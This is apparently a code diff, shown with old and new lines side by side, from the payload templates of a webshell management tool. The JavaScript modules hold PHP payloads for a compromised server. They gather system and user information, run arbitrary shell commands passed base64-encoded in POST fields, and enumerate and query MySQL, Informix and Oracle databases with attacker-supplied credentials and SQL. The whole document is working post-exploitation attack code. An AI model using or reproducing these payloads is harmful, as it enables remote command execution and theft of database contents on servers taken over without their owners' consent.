let tmpCode = data['_']; let tmpCode = data['_'];
......
...@@ -4,10 +4,26 @@ ...@@ -4,10 +4,26 @@
*/ */
module.exports = () => ({ module.exports = () => ({
info: info: {
`$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="\t";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="\t{$s}";echo $R;`, _: `$D=dirname($_SERVER["SCRIPT_FILENAME"]);
probedb: // 检测数据库函数支持 if($D=="")
`$m=array('mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close','ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount','sybase_close'); $D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.="\t";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="\t{$s}";
echo $R;`.replace(/\n\s+/g, '')
},
probedb: { // 检测数据库函数支持
_: `$m=array('mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close','ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount','sybase_close');
foreach ($m as $f) { foreach ($m as $f) {
echo($f."\\t".(function_exists($f)?'1':'0')."\\n"); echo($f."\\t".(function_exists($f)?'1':'0')."\\n");
} }
...@@ -15,5 +31,6 @@ module.exports = () => ({ ...@@ -15,5 +31,6 @@ module.exports = () => ({
foreach(@pdo_drivers() as $f){ foreach(@pdo_drivers() as $f){
echo("pdo_".$f."\\t1\\n"); echo("pdo_".$f."\\t1\\n");
} }
}`.replace(/\n\s+/g, ''), }`.replace(/\n\s+/g, '')
}
}) })
\ No newline at end of file
...@@ -4,8 +4,7 @@ ...@@ -4,8 +4,7 @@
module.exports = (arg1, arg2) => ({ module.exports = (arg1, arg2) => ({
exec: { exec: {
_: _: `$p=base64_decode($_POST["${arg1}"]);
`$p=base64_decode($_POST["${arg1}"]);
$s=base64_decode($_POST["${arg2}"]); $s=base64_decode($_POST["${arg2}"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]); $d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\""; $c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";
...@@ -52,11 +51,10 @@ module.exports = (arg1, arg2) => ({ ...@@ -52,11 +51,10 @@ module.exports = (arg1, arg2) => ({
foreach($arr as $v){ foreach($arr as $v){
echo($v."\t".(file_exists($v)?"1":"0")."\n"); echo($v."\t".(file_exists($v)?"1":"0")."\n");
}`.replace(/\n\s+/g, ''), }`.replace(/\n\s+/g, ''),
[arg1]: "#{base64::binarr}", [arg1]: "#{base64::binarr}"
}, },
quote: { quote: {
_: _: `$p=base64_decode($_POST["${arg1}"]);$s=base64_decode($_POST["${arg2}"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo \`{$r} 2>&1\``,
`$p=base64_decode($_POST["${arg1}"]);$s=base64_decode($_POST["${arg2}"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo \`{$r} 2>&1\``,
[arg1]: "#{base64::bin}", [arg1]: "#{base64::bin}",
[arg2]: "#{base64::cmd}" [arg2]: "#{base64::cmd}"
} }
......
...@@ -6,16 +6,14 @@ ...@@ -6,16 +6,14 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT username FROM SYSUSERS WHERE usertype='D' ORDER BY username",$T);echo("informix".chr(9));while($rs=@ifx_fetch_row($q)){echo(trim($rs[username]).chr(9));}@ifx_close($T);`,
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT username FROM SYSUSERS WHERE usertype='D' ORDER BY username",$T);echo("informix".chr(9));while($rs=@ifx_fetch_row($q)){echo(trim($rs[username]).chr(9));}@ifx_close($T);`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}' [arg3]: '#{passwd}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);`,
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -23,8 +21,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -23,8 +21,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);`,
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -32,8 +29,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -32,8 +29,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query($sql,$T);$i=0;while($rs=@ifx_fetch_row($q)){if($i==0){for(reset($rs);$f=key($rs);next($rs)){echo($f."\t|\t");}echo("\r\n");}for(reset($rs);$f=key($rs);next($rs)){echo(base64_encode(trim($rs[$f])));echo("\t|\t");}echo("\r\n");$i++;}@ifx_close($T);`,
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query($sql,$T);$i=0;while($rs=@ifx_fetch_row($q)){if($i==0){for(reset($rs);$f=key($rs);next($rs)){echo($f."\t|\t");}echo("\r\n");}for(reset($rs);$f=key($rs);next($rs)){echo(base64_encode(trim($rs[$f])));echo("\t|\t");}echo("\r\n");$i++;}@ifx_close($T);`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
......
...@@ -6,8 +6,7 @@ ...@@ -6,8 +6,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -24,8 +23,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -24,8 +23,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -45,8 +43,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -45,8 +43,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -68,8 +65,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -68,8 +65,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......
...@@ -6,16 +6,14 @@ ...@@ -6,16 +6,14 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query("SHOW DATABASES");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);`,
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query("SHOW DATABASES");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}' [arg3]: '#{passwd}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query("SHOW TABLES FROM \`{$dbn}\`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);`,
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query("SHOW TABLES FROM \`{$dbn}\`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -23,8 +21,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -23,8 +21,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];$T=@mysql_connect($hst,$usr,$pwd);@mysql_select_db( $dbn, $T);$q=@mysql_query("SHOW COLUMNS FROM \`{$tab}\`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0])." (".$rs[1].")".chr(9));}@mysql_close($T);`,
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];$T=@mysql_connect($hst,$usr,$pwd);@mysql_select_db( $dbn, $T);$q=@mysql_query("SHOW COLUMNS FROM \`{$tab}\`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0])." (".$rs[1].")".chr(9));}@mysql_close($T);`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -33,8 +30,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -33,8 +30,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$T=@mysql_connect($hst,$usr,$pwd);@mysql_query("SET NAMES $_POST[${arg6}]");@mysql_select_db($dbn, $T);$q=@mysql_query($sql);if(is_bool($q)){echo("Status\t|\t\r\n".($q?"VHJ1ZQ==":"RmFsc2U=")."\t|\t\r\n");}else{$i=0;while($col=@mysql_fetch_field($q)){echo($col->name."\t|\t");$i++;}echo("\r\n");while($rs=@mysql_fetch_row($q)){for($c=0;$c<$i;$c++){echo(base64_encode(trim($rs[$c])));echo("\t|\t");}echo("\r\n");}}@mysql_close($T);`,
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$T=@mysql_connect($hst,$usr,$pwd);@mysql_query("SET NAMES $_POST[${arg6}]");@mysql_select_db($dbn, $T);$q=@mysql_query($sql);if(is_bool($q)){echo("Status\t|\t\r\n".($q?"VHJ1ZQ==":"RmFsc2U=")."\t|\t\r\n");}else{$i=0;while($col=@mysql_fetch_field($q)){echo($col->name."\t|\t");$i++;}echo("\r\n");while($rs=@mysql_fetch_row($q)){for($c=0;$c<$i;$c++){echo(base64_encode(trim($rs[$c])));echo("\t|\t");}echo("\r\n");}}@mysql_close($T);`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
......
...@@ -6,8 +6,7 @@ ...@@ -6,8 +6,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -25,8 +24,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -25,8 +24,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -46,8 +44,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -46,8 +44,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -70,8 +67,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -70,8 +67,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......
...@@ -6,16 +6,14 @@ ...@@ -6,16 +6,14 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$H=@Ora_Logon("\${usr}/\${pwd}@\${sid}","");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT USERNAME FROM ALL_USERS ORDER BY 1");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).chr(9));}}@ora_close($T);};`,
`$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$H=@Ora_Logon("\${usr}/\${pwd}@\${sid}","");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT USERNAME FROM ALL_USERS ORDER BY 1");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).chr(9));}}@ora_close($T);};`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}' [arg3]: '#{passwd}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='{$dbn}' ORDER BY 1)");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).chr(9));}}@ora_close($T);};`,
`$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='{$dbn}' ORDER BY 1)");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).chr(9));}}@ora_close($T);};`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -23,8 +21,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -23,8 +21,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$tab=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT COLUMN_NAME,DATA_TYPE FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='{$tab}' ORDER BY COLUMN_ID");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0))." (".ora_getcolumn($T,1).")".chr(9));}}@ora_close($T);};`,
`$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$tab=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT COLUMN_NAME,DATA_TYPE FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='{$tab}' ORDER BY COLUMN_ID");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0))." (".ora_getcolumn($T,1).")".chr(9));}}@ora_close($T);};`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -32,8 +29,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -32,8 +29,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
